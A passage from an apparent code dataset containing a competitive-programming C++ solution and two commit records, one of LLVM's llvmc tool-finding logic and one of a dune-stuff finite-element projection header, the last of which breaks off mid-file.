priority_queue<T>;\ntemplate <typename T>\nusing min_heap = priority_queue<T, vector<T>, greater<T>>;\n\/\/ ----- constexpr for Mint and Combination -----\nconstexpr ll MOD{1'000'000'007LL};\n\/\/ constexpr ll MOD{998'244'353LL}; \/\/ be careful\nconstexpr ll MAX_SIZE{3'000'010LL};\n\/\/ constexpr ll MAX_SIZE{30'000'010LL}; \/\/ if 10^7 is needed\n\/\/ ----- ch_max and ch_min -----\ntemplate <typename T>\nbool ch_max(T &left, T right)\n{\n if (left < right)\n {\n left = right;\n return true;\n }\n return false;\n}\ntemplate <typename T>\nbool ch_min(T &left, T right)\n{\n if (left > right)\n {\n left = right;\n return true;\n }\n return false;\n}\n\/\/ ----- Mint -----\ntemplate <ll MOD = MOD>\nclass Mint\n{\npublic:\n ll x;\n Mint() : x{0LL} {}\n Mint(ll x) : x{(x % MOD + MOD) % MOD} {}\n Mint operator-() const { return x ? MOD - x : 0; }\n Mint &operator+=(Mint const &a)\n {\n if ((x += a.x) >= MOD)\n {\n x -= MOD;\n }\n return *this;\n }\n Mint &operator-=(Mint const &a) { return *this += -a; }\n Mint &operator++() { return *this += 1; }\n Mint operator++(int)\n {\n Mint tmp{*this};\n ++*this;\n return tmp;\n }\n Mint &operator--() { return *this -= 1; }\n Mint operator--(int)\n {\n Mint tmp{*this};\n --*this;\n return tmp;\n }\n Mint &operator*=(Mint const &a)\n {\n (x *= a.x) %= MOD;\n return *this;\n }\n Mint &operator\/=(Mint const &a)\n {\n Mint b{a};\n return *this *= b.power(MOD - 2);\n }\n Mint operator+(Mint const &a) const { return Mint(*this) += a; }\n Mint operator-(Mint const &a) const { return Mint(*this) -= a; }\n Mint operator*(Mint const &a) const { return Mint(*this) *= a; }\n Mint operator\/(Mint const &a) const { return Mint(*this) \/= a; }\n bool operator<(Mint const &a) const { return x < a.x; }\n bool operator<=(Mint const &a) const { return x <= a.x; }\n bool operator>(Mint const &a) const { return x > a.x; }\n bool operator>=(Mint const &a) const { return x >= a.x; }\n bool operator==(Mint const &a) const { return x == a.x; }\n bool operator!=(Mint const &a) const { return !(*this == a); }\n Mint power(ll N) const\n {\n if (N == 0)\n {\n return 1;\n }\n else if (N % 2 == 1)\n {\n return *this * power(N - 1);\n }\n else\n {\n Mint half = power(N \/ 2);\n return half * half;\n }\n }\n};\ntemplate <ll MOD>\nMint<MOD> operator+(ll lhs, Mint<MOD> const &rhs) { return rhs + lhs; }\ntemplate <ll MOD>\nMint<MOD> operator-(ll lhs, Mint<MOD> const &rhs) { return -rhs + lhs; }\ntemplate <ll MOD>\nMint<MOD> operator*(ll lhs, Mint<MOD> const &rhs) { return rhs * lhs; }\ntemplate <ll MOD>\nMint<MOD> operator\/(ll lhs, Mint<MOD> const &rhs) { return Mint<MOD>{lhs} \/ rhs; }\ntemplate <ll MOD>\nistream &operator>>(istream &stream, Mint<MOD> &a) { return stream >> a.x; }\ntemplate <ll MOD>\nostream &operator<<(ostream &stream, Mint<MOD> const &a) { return stream << a.x; }\n\/\/ ----- Combination -----\ntemplate <ll MOD = MOD, ll MAX_SIZE = MAX_SIZE>\nclass Combination\n{\npublic:\n vector<Mint<MOD>> inv, fact, factinv;\n Combination() : inv(MAX_SIZE), fact(MAX_SIZE), factinv(MAX_SIZE)\n {\n inv[1] = 1;\n for (auto i{2LL}; i < MAX_SIZE; i++)\n {\n inv[i] = (-inv[MOD % i]) * (MOD \/ i);\n }\n fact[0] = factinv[0] = 1;\n for (auto i{1LL}; i < MAX_SIZE; i++)\n {\n fact[i] = Mint<MOD>(i) * fact[i - 1];\n factinv[i] = inv[i] * factinv[i - 1];\n }\n }\n Mint<MOD> operator()(int n, int k)\n {\n if (n >= 0 && k >= 0 && n - k >= 0)\n {\n return fact[n] * factinv[k] * factinv[n - k];\n }\n return 0;\n }\n Mint<MOD> catalan(int x, int y)\n {\n return (*this)(x + y, y) - (*this)(x + y, y - 1);\n }\n};\n\/\/ ----- for C++14 -----\nusing mint = Mint<MOD>;\nusing combination = Combination<MOD, MAX_SIZE>;\n\/\/ ----- for C++17 -----\ntemplate <typename T, typename enable_if<is_integral<T>::value>::type * = nullptr>\nsize_t popcount(T x) { return bitset<64>(x).count(); }\nsize_t popcount(string const &S) { return bitset<200010>{S}.count(); }\n\/\/ ----- Infty -----\ntemplate <typename T>\nconstexpr T Infty() { return numeric_limits<T>::max(); }\ntemplate <typename T>\nconstexpr T mInfty() { return numeric_limits<T>::min(); }\n\/\/ ----- frequently used constexpr -----\n\/\/ constexpr double epsilon{1e-10};\n\/\/ constexpr ll infty{1'000'000'000'000'010LL}; \/\/ or\n\/\/ constexpr int infty{1'000'000'010};\n\/\/ constexpr int dx[4] = {1, 0, -1, 0};\n\/\/ constexpr int dy[4] = {0, 1, 0, -1};\n\/\/ ----- Yes() and No() -----\nvoid Yes()\n{\n cout << \"Yes\" << endl;\n exit(0);\n}\nvoid No()\n{\n cout << \"No\" << endl;\n exit(0);\n}\n\n\/\/ ----- Solve -----\n\nclass Solve\n{\n ll N, K;\n map<ll, mint> M;\n\npublic:\n Solve(ll N, ll K) : N{N}, K{K}\n {\n#if DEBUG == 1\n cerr << \"N = \" << N << \", K = \" << K << endl;\n#endif\n }\n\n void flush()\n {\n mint ans{0};\n auto V{table()};\n for (auto i{1LL}; i <= K; ++i)\n {\n ans += V[i] * i;\n#if DEBUG == 1\n if (K == 2)\n {\n cerr << \"V[\" << i << \"] = \" << V[i] << endl;\n }\n#endif\n }\n cout << ans << endl;\n }\n\nprivate:\n vector<mint> table()\n {\n vector<mint> V(K + 1, 0);\n for (auto X{K}; X >= 1; --X)\n {\n V[X] = count(X);\n for (auto i{2LL};; ++i)\n {\n if (auto t{X * i}; t <= K)\n {\n V[X] -= V[t];\n }\n else\n {\n break;\n }\n }\n }\n return V;\n }\n\n mint count(ll X)\n {\n return mint{K \/ X}.power(N);\n }\n};\n\n\/\/ ----- main() -----\n\nint main()\n{\n ll N, K;\n cin >> N >> K;\n Solve solve(N, K);\n solve.flush();\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/===--- Action.cpp - The LLVM Compiler Driver ------------------*- C++ -*-===\/\/\n\/\/\n\/\/ The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open\n\/\/ Source License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ Action class - implementation and auxiliary functions.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"llvm\/CompilerDriver\/Action.h\"\n#include \"llvm\/CompilerDriver\/BuiltinOptions.h\"\n#include \"llvm\/CompilerDriver\/Error.h\"\n#include \"llvm\/CompilerDriver\/Main.h\"\n\n#include \"llvm\/Support\/raw_ostream.h\"\n#include \"llvm\/Support\/SystemUtils.h\"\n#include \"llvm\/System\/Program.h\"\n#include \"llvm\/System\/TimeValue.h\"\n\n#include <stdexcept>\n#include <string>\n\nusing namespace llvm;\nusing namespace llvmc;\n\nnamespace llvmc {\n\nextern const char* ProgramName;\n\n}\n\nnamespace {\n\n void PrintString (const std::string& str) {\n errs() << str << ' ';\n }\n\n void PrintCommand (const std::string& Cmd, const StrVector& Args) {\n errs() << Cmd << ' ';\n std::for_each(Args.begin(), Args.end(), &PrintString);\n errs() << '\\n';\n }\n\n bool IsSegmentationFault (int returnCode) {\n#ifdef LLVM_ON_WIN32\n return (returnCode >= 0xc0000000UL)\n#else\n return (returnCode < 0);\n#endif\n }\n\n int ExecuteProgram (const std::string& name,\n const StrVector& args) {\n sys::Path prog(name);\n\n if (!prog.isAbsolute())\n prog = FindExecutable(name, ProgramName, (void *)(intptr_t)&Main);\n\n if (prog.isEmpty()) {\n prog = sys::Program::FindProgramByName(name);\n if (prog.isEmpty()) {\n PrintError(\"Can't find program '\" + name + \"'\");\n return -1;\n }\n }\n if (!prog.canExecute()) {\n PrintError(\"Program '\" + name + \"' is not executable.\");\n return -1;\n }\n\n \/\/ Build the command line vector and the redirects array.\n const sys::Path* redirects[3] = {0,0,0};\n sys::Path stdout_redirect;\n\n std::vector<const char*> argv;\n argv.reserve((args.size()+2));\n argv.push_back(name.c_str());\n\n for (StrVector::const_iterator B = args.begin(), E = args.end();\n B!=E; ++B) {\n if (*B == \">\") {\n ++B;\n stdout_redirect.set(*B);\n redirects[1] = &stdout_redirect;\n }\n else {\n argv.push_back((*B).c_str());\n }\n }\n argv.push_back(0); \/\/ null terminate list.\n\n \/\/ Invoke the program.\n int ret = sys::Program::ExecuteAndWait(prog, &argv[0], 0, &redirects[0]);\n\n if (IsSegmentationFault(ret)) {\n errs() << \"Segmentation fault: \";\n PrintCommand(name, args);\n }\n\n return ret;\n }\n}\n\nnamespace llvmc {\n void AppendToGlobalTimeLog (const std::string& cmd, double time);\n}\n\nint llvmc::Action::Execute () const {\n if (DryRun || VerboseMode)\n PrintCommand(Command_, Args_);\n\n if (!DryRun) {\n if (Time) {\n sys::TimeValue now = sys::TimeValue::now();\n int ret = ExecuteProgram(Command_, Args_);\n sys::TimeValue now2 = sys::TimeValue::now();\n now2 -= now;\n double elapsed = now2.seconds() + now2.microseconds() \/ 1000000.0;\n AppendToGlobalTimeLog(Command_, elapsed);\n\n return ret;\n }\n else {\n return ExecuteProgram(Command_, Args_);\n }\n }\n\n return 0;\n}\n<commit_msg>llvmc: Fix tool finding logic.<commit_after>\/\/===--- Action.cpp - The LLVM Compiler Driver ------------------*- C++ -*-===\/\/\n\/\/\n\/\/ The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open\n\/\/ Source License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ Action class - implementation and auxiliary functions.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"llvm\/CompilerDriver\/Action.h\"\n#include \"llvm\/CompilerDriver\/BuiltinOptions.h\"\n#include \"llvm\/CompilerDriver\/Error.h\"\n#include \"llvm\/CompilerDriver\/Main.h\"\n\n#include \"llvm\/Support\/raw_ostream.h\"\n#include \"llvm\/Support\/SystemUtils.h\"\n#include \"llvm\/System\/Program.h\"\n#include \"llvm\/System\/TimeValue.h\"\n\n#include <stdexcept>\n#include <string>\n\nusing namespace llvm;\nusing namespace llvmc;\n\nnamespace llvmc {\n\nextern const char* ProgramName;\n\n}\n\nnamespace {\n\n void PrintString (const std::string& str) {\n errs() << str << ' ';\n }\n\n void PrintCommand (const std::string& Cmd, const StrVector& Args) {\n errs() << Cmd << ' ';\n std::for_each(Args.begin(), Args.end(), &PrintString);\n errs() << '\\n';\n }\n\n bool IsSegmentationFault (int returnCode) {\n#ifdef LLVM_ON_WIN32\n return (returnCode >= 0xc0000000UL)\n#else\n return (returnCode < 0);\n#endif\n }\n\n int ExecuteProgram (const std::string& name, const StrVector& args) {\n sys::Path prog(name);\n\n if (!prog.isAbsolute()) {\n prog = FindExecutable(name, ProgramName, (void *)(intptr_t)&Main);\n\n if (!prog.canExecute()) {\n prog = sys::Program::FindProgramByName(name);\n if (prog.isEmpty()) {\n PrintError(\"Can't find program '\" + name + \"'\");\n return -1;\n }\n }\n }\n if (!prog.canExecute()) {\n PrintError(\"Program '\" + name + \"' is not executable.\");\n return -1;\n }\n\n \/\/ Build the command line vector and the redirects array.\n const sys::Path* redirects[3] = {0,0,0};\n sys::Path stdout_redirect;\n\n std::vector<const char*> argv;\n argv.reserve((args.size()+2));\n argv.push_back(name.c_str());\n\n for (StrVector::const_iterator B = args.begin(), E = args.end();\n B!=E; ++B) {\n if (*B == \">\") {\n ++B;\n stdout_redirect.set(*B);\n redirects[1] = &stdout_redirect;\n }\n else {\n argv.push_back((*B).c_str());\n }\n }\n argv.push_back(0); \/\/ null terminate list.\n\n \/\/ Invoke the program.\n int ret = sys::Program::ExecuteAndWait(prog, &argv[0], 0, &redirects[0]);\n\n if (IsSegmentationFault(ret)) {\n errs() << \"Segmentation fault: \";\n PrintCommand(name, args);\n }\n\n return ret;\n }\n}\n\nnamespace llvmc {\n void AppendToGlobalTimeLog (const std::string& cmd, double time);\n}\n\nint llvmc::Action::Execute () const {\n if (DryRun || VerboseMode)\n PrintCommand(Command_, Args_);\n\n if (!DryRun) {\n if (Time) {\n sys::TimeValue now = sys::TimeValue::now();\n int ret = ExecuteProgram(Command_, Args_);\n sys::TimeValue now2 = sys::TimeValue::now();\n now2 -= now;\n double elapsed = now2.seconds() + now2.microseconds() \/ 1000000.0;\n AppendToGlobalTimeLog(Command_, elapsed);\n\n return ret;\n }\n else {\n return ExecuteProgram(Command_, Args_);\n }\n }\n\n return 0;\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ This file is part of the dune-stuff project:\n\/\/ https:\/\/users.dune-project.org\/projects\/dune-stuff\n\/\/ Copyright holders: Rene Milk, Felix Schindler\n\/\/ License: BSD 2-Clause License (http:\/\/opensource.org\/licenses\/BSD-2-Clause)\n\/\/\n\/\/ Contributors: Sven Kaulmann\n\n#ifndef DUNE_STUFF_DISCRETEFUNCTION_PROJECTION_HETEROGENOUS_HH\n#define DUNE_STUFF_DISCRETEFUNCTION_PROJECTION_HETEROGENOUS_HH\n\n#include <dune\/common\/fvector.hh>\n#include <dune\/grid\/common\/backuprestore.hh>\n#include <dune\/grid\/common\/grid.hh>\n#include <dune\/grid\/common\/entity.hh>\n#include <dune\/stuff\/common\/ranges.hh>\n#include <dune\/stuff\/aliases.hh>\n#include <dune\/stuff\/fem\/namespace.hh>\n\n#if HAVE_DUNE_FEM\n #include <dune\/fem\/function\/common\/discretefunction.hh>\n #include <dune\/fem\/quadrature\/cachingquadrature.hh>\n #include <dune\/fem\/space\/finitevolume.hh>\n #include <dune\/fem\/space\/lagrange.hh>\n#endif\n\n#include <dune\/grid\/io\/file\/vtk\/function.hh>\n\n#include <dune\/stuff\/grid\/search.hh>\n\nnamespace Dune {\nnamespace Stuff {\n\n\n#if HAVE_DUNE_FEM\n\ntemplate< class F, class G, int p, template< class > class S >\nstd::vector<typename Dune::Fem::LagrangeDiscreteFunctionSpace<F,G,p,S>::DomainType>\nglobal_evaluation_points(const Dune::Fem::LagrangeDiscreteFunctionSpace<F,G,p,S>& space,\n const typename Dune::Fem::LagrangeDiscreteFunctionSpace<F,G,p,S>::EntityType& target_entity)\n{\n const auto& target_lagrangepoint_set = space.lagrangePointSet(target_entity);\n const auto& target_geometry = target_entity.geometry();\n const auto quadNop = target_lagrangepoint_set.nop();\n std::vector<typename Dune::Fem::LagrangeDiscreteFunctionSpace<F,G,p,S>::DomainType> points(quadNop);\n for(size_t qP = 0; qP < quadNop ; ++qP) {\n points[qP] = target_geometry.global(target_lagrangepoint_set.point(qP));\n }\n return points;\n}\n\ntemplate< class F, class G, int p, template< class > class S >\nstd::vector<typename Dune::Fem::FiniteVolumeSpace<F,G,p,S>::DomainType>\nglobal_evaluation_points(const Dune::Fem::FiniteVolumeSpace<F,G,p,S>& \/*space*\/,\n const typename Dune::Fem::FiniteVolumeSpace<F,G,p,S>::EntityType& target_entity)\n{\n assert(false);\n typedef std::vector<typename Dune::Fem::FiniteVolumeSpace<F,G,p,S>::DomainType> Ret;\n return Ret(1, target_entity.geometry().center());\n}\n\ntemplate< template< class > class SearchStrategy = Grid::EntityInlevelSearch >\nclass HeterogenousProjection\n{\npublic:\n \/** If your SearchStrategy only takes a leafview of the source grid, you may use this signature.\n * Otherwise you'll have to provide an instance of the SearchStrategy to the method below\n **\/\n template < class SourceDFImp, class TargetDFImp >\n static void project(const Dune::Fem::DiscreteFunctionInterface<SourceDFImp>& source,\n Dune::Fem::DiscreteFunctionInterface<TargetDFImp>& target)\n {\n SearchStrategy<typename SourceDFImp::GridType::LeafGridView> search(source.gridPart().grid().leafView());\n project(source, target, search);\n }\n\n \/\/! signature for non-default SearchStrategy constructions\n template < class SourceDFImp, class TargetDFImp, class SearchStrategyImp >\n static void project(const Dune::Fem::DiscreteFunctionInterface<SourceDFImp>& source,\n Dune::Fem::DiscreteFunctionInterface<TargetDFImp>& target,\n SearchStrategyImp& search)\n {\n typedef typename TargetDFImp::DiscreteFunctionSpaceType TargetDiscreteFunctionSpaceType;\n static const int target_dimRange = TargetDiscreteFunctionSpaceType::dimRange;\n\n const auto& space = target.space();\n\n \/\/ set all DoFs to infinity\n preprocess(target);\n\n const auto endit = space.end();\n for(auto it = space.begin(); it != endit ; ++it)\n {\n const auto& target_entity = *it;\n auto target_local_function = target.localFunction(target_entity);\n const auto global_quads = global_evaluation_points(space, target_entity);\n const auto evaluation_entity_ptrs = search(global_quads);\n assert(evaluation_entity_ptrs.size() >= global_quads.size());\n\n int k = 0;\n typename TargetDiscreteFunctionSpaceType::RangeType source_value;\n for(size_t qP = 0; qP < global_quads.size() ; ++qP)\n {\n if(std::isinf(target_local_function[ k ]))\n {\n const auto& source_entity_unique_ptr = evaluation_entity_ptrs[qP];\n if (source_entity_unique_ptr) {\n const auto& source_entity_ptr = (*source_entity_unique_ptr);\n const auto& source_geometry = source_entity_ptr->geometry();\n const auto& global_point = global_quads[qP];\n const auto& source_local_point = source_geometry.local(global_point);\n const auto& source_local_function = source.localFunction(*source_entity_ptr);\n source_local_function.evaluate(source_local_point, source_value);\n for(int i = 0; i < target_dimRange; ++i, ++k)\n setDofValue(target_local_function[k], source_value[i]);\n }\n else {\n DUNE_THROW(InvalidStateException, \"Did not find the local lagrange point in the source mesh!\");\n }\n }\n else\n k += target_dimRange;\n }\n }\n postprocess(target);\n\n } \/\/ ... project(...)\n\nprotected:\n template<class TargetDFImp>\n static void preprocess(Dune::Fem::DiscreteFunctionInterface<TargetDFImp>& func) {\n typedef typename TargetDFImp::DofType TargetDofType;\n const auto infinity = DSC::numeric_limits< TargetDofType >::infinity();\n \/\/ set all DoFs to infinity\n const auto dend = func.dend();\n for( auto dit = func.dbegin(); dit != dend; ++dit )\n *dit = infinity;\n }\n\n template<class DofType, class SourceType >\n static void setDofValue(DofType& dof, const SourceType& value)\n {\n dof = value;\n }\n\n template<class TargetDFImp>\n static void postprocess(typename Dune::Fem::DiscreteFunctionInterface<TargetDFImp>& \/*func*\/) { return; }\n\n}; \/\/ class HeterogenousProjection\n\ntemplate< template< class > class SearchStrategy = Grid::EntityInlevelSearch >\nclass MsFEMProjection {\npublic:\n \/\/! signature for non-default SearchStrategy constructions\n template < class SourceDFImp, class TargetDFImp, class SearchStrategyImp >\n static void project(const Dune::Fem::DiscreteFunctionInterface<SourceDFImp>& source,\n Dune::Fem::DiscreteFunctionInterface<TargetDFImp>& target,\n SearchStrategyImp& search)\n {\n typedef typename TargetDFImp::DiscreteFunctionSpaceType TargetDiscreteFunctionSpaceType;\n static const int target_dimRange = TargetDiscreteFunctionSpaceType::dimRange;\n\n const auto& space = target.space();\n\n \/\/ set all DoFs to infinity\n preprocess(target);\n\n const auto endit = space.end();\n for(auto it = space.begin(); it != endit ; ++it)\n {\n const auto& target_entity = *it;\n auto target_local_function = target.localFunction(target_entity);\n const auto global_quads = global_evaluation_points(space, target_entity);\n const auto evaluation_entity_ptrs = search(global_quads);\n assert(evaluation_entity_ptrs.size() >= global_quads.size());\n\n int k = 0;\n typename TargetDiscreteFunctionSpaceType::RangeType source_value;\n for(size_t qP = 0; qP < global_quads.size() ; ++qP)\n {\n const auto& source_entity_unique_ptr = evaluation_entity_ptrs[qP];\n if (source_entity_unique_ptr) {\n const auto& source_entity_ptr = (*source_entity_unique_ptr);\n const auto& source_geometry = source_entity_ptr->geometry();\n const auto& global_point = global_quads[qP];\n const auto& source_local_point = source_geometry.local(global_point);\n const auto& source_local_function = source.localFunction(*source_entity_ptr);\n source_local_function.evaluate(source_local_point, source_value);\n for(int i = 0; i < target_dimRange; ++i, ++k)\n setDofValue(target_local_function[k], source_value[i]);\n }\n else {\n DUNE_THROW(InvalidStateException, \"Did not find the local lagrange point in the source mesh!\");\n }\n }\n }\n\n postprocess(target);\n\n } \/\/ ... project(...)\n\nprotected:\n template<class TargetDFImp>\n static void preprocess(Dune::Fem::DiscreteFunctionInterface<TargetDFImp>& func) {\n\n \/\/ set all DoFs to zero\n const auto dend = func.dend();\n for( auto dit = func.dbegin(); dit != dend; ++dit )\n *dit = 0.0;\n }\n\n template<class DofType, class SourceType >\n static void setDofValue(DofType& dof, const SourceType& value)\n {\n dof += value;\n }\n\n template<class TargetDFImp>\n static void postprocess(typename Dune::Fem::DiscreteFunctionInterface<TargetDFImp>& func) {\n \/\/ compute node to entity relations\n typedef Dune::Fem::DiscreteFunctionInterface<TargetDFImp> DiscFuncType;\n const static int dimension = DiscFuncType::DiscreteFunctionSpaceType::GridPartType::GridType::dimension;\n std::vector<int> nodeToEntity(func.space().gridPart().grid().size(dimension), 0);\n identifySharedNodes(func.space().gridPart(), nodeToEntity);\n\n const auto dend = func.dend();\n auto factorsIt = nodeToEntity.begin();\n for (auto dit = func.dbegin(); dit!=dend; ++dit) {\n assert(factorsIt!=nodeToEntity.end());\n assert(*factorsIt>0);\n *dit \/= *factorsIt;\n ++factorsIt;\n }\n return;\n }\n\n template<class GridPartType, class MapType>\n static void identifySharedNodes(const GridPartType& gridPart, MapType& map) {\n typedef typename GridPartType::GridType GridType;\n const auto& indexSet = gridPart.indexSet();\n\n for (auto& entity : DSC::viewRange(gridPart.grid().leafGridView())) {\n int number_of_nodes_in_entity = entity.template count<GridType::dimension>();\n for (int i = 0; i < number_of_nodes_in_entity; ++i) {\n const auto node = entity.template subEntity<GridType::dimension>(i);\n const auto global_index_node = indexSet.index(*node);\n\n \/\/ make sure we don't access non-existing elements\n assert(map.size() > global_index_node);\n ++map[global_index_node];\n }\n }\n }\n\n};\n#endif \/\/ HAVE_DUNE_FEM\n\n\n} \/\/ namespace Stuff\n} \/\/ namespace Dune\n\n#endif \/\/ DUNE_STUFF_DISCRETEFUNCTION_PROJECTION_HETEROGENOUS_HH\n<commit_msg>doc and whitespace<commit_after>\/\/ This file is part of the dune-stuff project:\n\/\/ https:\/\/users.dune-project.org\/projects\/dune-stuff\n\/\/ Copyright holders: Rene Milk, Felix Schindler\n\/\/ License: BSD 2-Clause License (http:\/\/opensource.org\/licenses\/BSD-2-Clause)\n\/\/\n\/\/ Contributors: Sven Kaulmann\n\n#ifndef DUNE_STUFF_DISCRETEFUNCTION_PROJECTION_HETEROGENOUS_HH\n#define DUNE_STUFF_DISCRETEFUNCTION_PROJECTION_HETEROGENOUS_HH\n\n#include <dune\/common\/fvector.hh>\n#include <dune\/grid\/common\/backuprestore.hh>\n#include <dune\/grid\/common\/grid.hh>\n#include <dune\/grid\/common\/entity.hh>\n#include <dune\/stuff\/common\/ranges.hh>\n#include <dune\/stuff\/aliases.hh>\n#include <dune\/stuff\/fem\/namespace.hh>\n\n#if HAVE_DUNE_FEM\n #include <dune\/fem\/function\/common\/discretefunction.hh>\n #include <dune\/fem\/quadrature\/cachingquadrature.hh>\n #include <dune\/fem\/space\/finitevolume.hh>\n #include <dune\/fem\/space\/lagrange.hh>\n#endif\n\n#include <dune\/grid\/io\/file\/vtk\/function.hh>\n\n#include <dune\/stuff\/grid\/search.hh>\n\nnamespace Dune {\nnamespace Stuff {\n\n\n#if HAVE_DUNE_FEM\n\ntemplate< class F, class G, int p, template< class > class S >\nstd::vector<typename Dune::Fem::LagrangeDiscreteFunctionSpace<F,G,p,S>::DomainType>\nglobal_evaluation_points(const Dune::Fem::LagrangeDiscreteFunctionSpace<F,G,p,S>& space,\n const typename Dune::Fem::LagrangeDiscreteFunctionSpace<F,G,p,S>::EntityType& target_entity)\n{\n const auto& target_lagrangepoint_set = space.lagrangePointSet(target_entity);\n const auto& target_geometry = target_entity.geometry();\n const auto quadNop = target_lagrangepoint_set.nop();\n std::vector<typename Dune::Fem::LagrangeDiscreteFunctionSpace<F,G,p,S>::DomainType> points(quadNop);\n for(size_t qP = 0; qP < quadNop ; ++qP) {\n points[qP] = target_geometry.global(target_lagrangepoint_set.point(qP));\n }\n return points;\n}\n\ntemplate< class F, class G, int p, template< class > class S >\nstd::vector<typename Dune::Fem::FiniteVolumeSpace<F,G,p,S>::DomainType>\nglobal_evaluation_points(const Dune::Fem::FiniteVolumeSpace<F,G,p,S>& \/*space*\/,\n const typename Dune::Fem::FiniteVolumeSpace<F,G,p,S>::EntityType& target_entity)\n{\n assert(false);\n typedef std::vector<typename Dune::Fem::FiniteVolumeSpace<F,G,p,S>::DomainType> Ret;\n return Ret(1, target_entity.geometry().center());\n}\n\ntemplate< template< class > class SearchStrategy = Grid::EntityInlevelSearch >\nclass HeterogenousProjection\n{\npublic:\n \/** If your SearchStrategy only takes a leafview of the source grid, you may use this signature.\n * Otherwise you'll have to provide an instance of the SearchStrategy to the method below\n **\/\n template < class SourceDFImp, class TargetDFImp >\n static void project(const Dune::Fem::DiscreteFunctionInterface<SourceDFImp>& source,\n Dune::Fem::DiscreteFunctionInterface<TargetDFImp>& target)\n {\n SearchStrategy<typename SourceDFImp::GridType::LeafGridView> search(source.gridPart().grid().leafView());\n project(source, target, search);\n }\n\n \/\/! signature for non-default SearchStrategy constructions\n template < class SourceDFImp, class TargetDFImp, class SearchStrategyImp >\n static void project(const Dune::Fem::DiscreteFunctionInterface<SourceDFImp>& source,\n Dune::Fem::DiscreteFunctionInterface<TargetDFImp>& target,\n SearchStrategyImp& search)\n {\n typedef typename TargetDFImp::DiscreteFunctionSpaceType TargetDiscreteFunctionSpaceType;\n static const int target_dimRange = TargetDiscreteFunctionSpaceType::dimRange;\n\n const auto& space = target.space();\n\n \/\/ set all DoFs to infinity\n preprocess(target);\n\n const auto endit = space.end();\n for(auto it = space.begin(); it != endit ; ++it)\n {\n const auto& target_entity = *it;\n auto target_local_function = target.localFunction(target_entity);\n const auto global_quads = global_evaluation_points(space, target_entity);\n const auto evaluation_entity_ptrs = search(global_quads);\n assert(evaluation_entity_ptrs.size() >= global_quads.size());\n\n int k = 0;\n typename TargetDiscreteFunctionSpaceType::RangeType source_value;\n for(size_t qP = 0; qP < global_quads.size() ; ++qP)\n {\n if(std::isinf(target_local_function[ k ]))\n {\n const auto& source_entity_unique_ptr = evaluation_entity_ptrs[qP];\n if (source_entity_unique_ptr) {\n const auto& source_entity_ptr = (*source_entity_unique_ptr);\n const auto& source_geometry = source_entity_ptr->geometry();\n const auto& global_point = global_quads[qP];\n const auto& source_local_point = source_geometry.local(global_point);\n const auto& source_local_function = source.localFunction(*source_entity_ptr);\n source_local_function.evaluate(source_local_point, source_value);\n for(int i = 0; i < target_dimRange; ++i, ++k)\n setDofValue(target_local_function[k], source_value[i]);\n }\n else {\n DUNE_THROW(InvalidStateException, \"Did not find the local lagrange point in the source mesh!\");\n }\n }\n else\n k += target_dimRange;\n }\n }\n postprocess(target);\n\n } \/\/ ... project(...)\n\nprotected:\n template<class TargetDFImp>\n static void preprocess(Dune::Fem::DiscreteFunctionInterface<TargetDFImp>& func) {\n typedef typename TargetDFImp::DofType TargetDofType;\n const auto infinity = DSC::numeric_limits< TargetDofType >::infinity();\n \/\/ set all DoFs to infinity\n const auto dend = func.dend();\n for( auto dit = func.dbegin(); dit != dend; ++dit )\n *dit = infinity;\n }\n\n template<class DofType, class SourceType >\n static void setDofValue(DofType& dof, const SourceType& value)\n {\n dof = value;\n }\n\n template<class TargetDFImp>\n static void postprocess(typename Dune::Fem::DiscreteFunctionInterface<TargetDFImp>& \/*func*\/) { return; }\n\n}; \/\/ class HeterogenousProjection\n\ntemplate< template< class > class SearchStrategy = Grid::EntityInlevelSearch >\nclass MsFEMProjection {\npublic:\n \/\/! signature for non-default SearchStrategy constructions\n template < class SourceDFImp, class TargetDFImp, class SearchStrategyImp >\n static void project(const Dune::Fem::DiscreteFunctionInterface<SourceDFImp>& source,\n Dune::Fem::DiscreteFunctionInterface<TargetDFImp>& target,\n SearchStrategyImp& search)\n {\n typedef typename TargetDFImp::DiscreteFunctionSpaceType TargetDiscreteFunctionSpaceType;\n static const int target_dimRange = TargetDiscreteFunctionSpaceType::dimRange;\n\n const auto& space = target.space();\n\n preprocess(target);\n\n const auto endit = space.end();\n for(auto it = space.begin(); it != endit ; ++it)\n {\n const auto& target_entity = *it;\n auto target_local_function = target.localFunction(target_entity);\n const auto global_quads = global_evaluation_points(space, target_entity);\n const auto evaluation_entity_ptrs = search(global_quads);\n assert(evaluation_entity_ptrs.size() >= global_quads.size());\n\n int k = 0;\n typename TargetDiscreteFunctionSpaceType::RangeType source_value;\n for(size_t qP = 0; qP < global_quads.size() ; ++qP)\n {\n const auto& source_entity_unique_ptr = evaluation_entity_ptrs[qP];\n if (source_entity_unique_ptr) {\n const auto& source_entity_ptr = (*source_entity_unique_ptr);\n const auto& source_geometry = source_entity_ptr->geometry();\n const auto& global_point = global_quads[qP];\n const auto& source_local_point = source_geometry.local(global_point);\n const auto& source_local_function = source.localFunction(*source_entity_ptr);\n source_local_function.evaluate(source_local_point, source_value);\n for(int i = 0; i < target_dimRange; ++i, ++k)\n setDofValue(target_local_function[k], source_value[i]);\n }\n else {\n DUNE_THROW(InvalidStateException, \"Did not find the local lagrange point in the source mesh!\");\n }\n }\n }\n\n postprocess(target);\n } \/\/ ... project(...)\n\nprotected:\n template<class TargetDFImp>\n static void preprocess(Dune::Fem::DiscreteFunctionInterface<TargetDFImp>& func) {\n \/\/ set all DoFs to zero\n const auto dend = func.dend();\n for( auto dit = func.dbegin(); dit != dend; ++dit )\n *dit = 0.0;\n }\n\n template<class DofType, class SourceType >\n static void setDofValue(DofType& dof, const SourceType& value)\n {\n dof += value;\n }\n\n template<class TargetDFImp>\n static void postprocess(typename Dune::Fem::DiscreteFunctionInterface<TargetDFImp>& func) {\n \/\/ compute node to entity relations\n typedef Dune::Fem::DiscreteFunctionInterface<TargetDFImp> DiscFuncType;\n const static int dimension = 